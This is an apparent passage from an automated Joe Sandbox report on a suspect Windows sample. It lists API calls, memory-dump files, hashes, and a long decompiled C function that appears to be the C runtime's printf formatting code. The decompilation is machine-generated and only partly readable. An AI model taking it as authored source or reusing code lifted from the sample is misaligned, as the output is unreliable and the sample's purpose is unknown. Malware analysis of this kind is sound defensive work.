WaitCommEvent.KERNEL32(?,00001B82,00000000), ref: 00B7887D
ClearCommBreak.KERNEL32(?), ref: 00B7888B
CloseHandle.KERNEL32(00000000), ref: 00B78893
VerifyVersionInfoW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00B788A1

Strings

shine!, xrefs: 00B78853

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: CommCreate$BreakClearCloseEventFiberFileHandleInfoTransactedVerifyVersionWait
String ID: shine!
API String ID: 1570665561-3316790111
Opcode ID: 9d3b1765566d41c6760e27f0c0d2fa944aa302a0e9f9b831c188af96e1ebc62d
Instruction ID: 433c0d9c6186ed38d44b79debe560636a9de00d928d6c1d46c211dfe8649cf9d
Opcode Fuzzy Hash: 9d3b1765566d41c6760e27f0c0d2fa944aa302a0e9f9b831c188af96e1ebc62d
Instruction Fuzzy Hash: 2C219A70A40344FBDB10CFA8DC89FAC7BB4FB44705F14C488E619AB294CB709A80DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00B95717 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00B95717() {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00B93D50(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00B93D50(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00B93D50(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E00B95E80(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00B95EC0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00B95E80(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00B95EC0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E00B97890(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E00B95EC0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E00B95E80(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L00B7EB20( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00B77B58) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0xb77b78) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0xb77b78) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00B95CD0))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E00B91090( *(_t557 - 0x251) & 0x000000ff, E00B7C680(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00B95DE0( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00B95DE0( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L00B7D760();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00B80C60(_t541))) = 0x16;
																		E00B809F0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E00B7C650(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0xb95d08; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00B95CF0))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0xb95d30; // 0x553e9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M00B95D1C))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0xb95d9c; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00B95D60))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E00B93D50(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0xd121a0; // 0xb775a0
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L00B7DEA0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
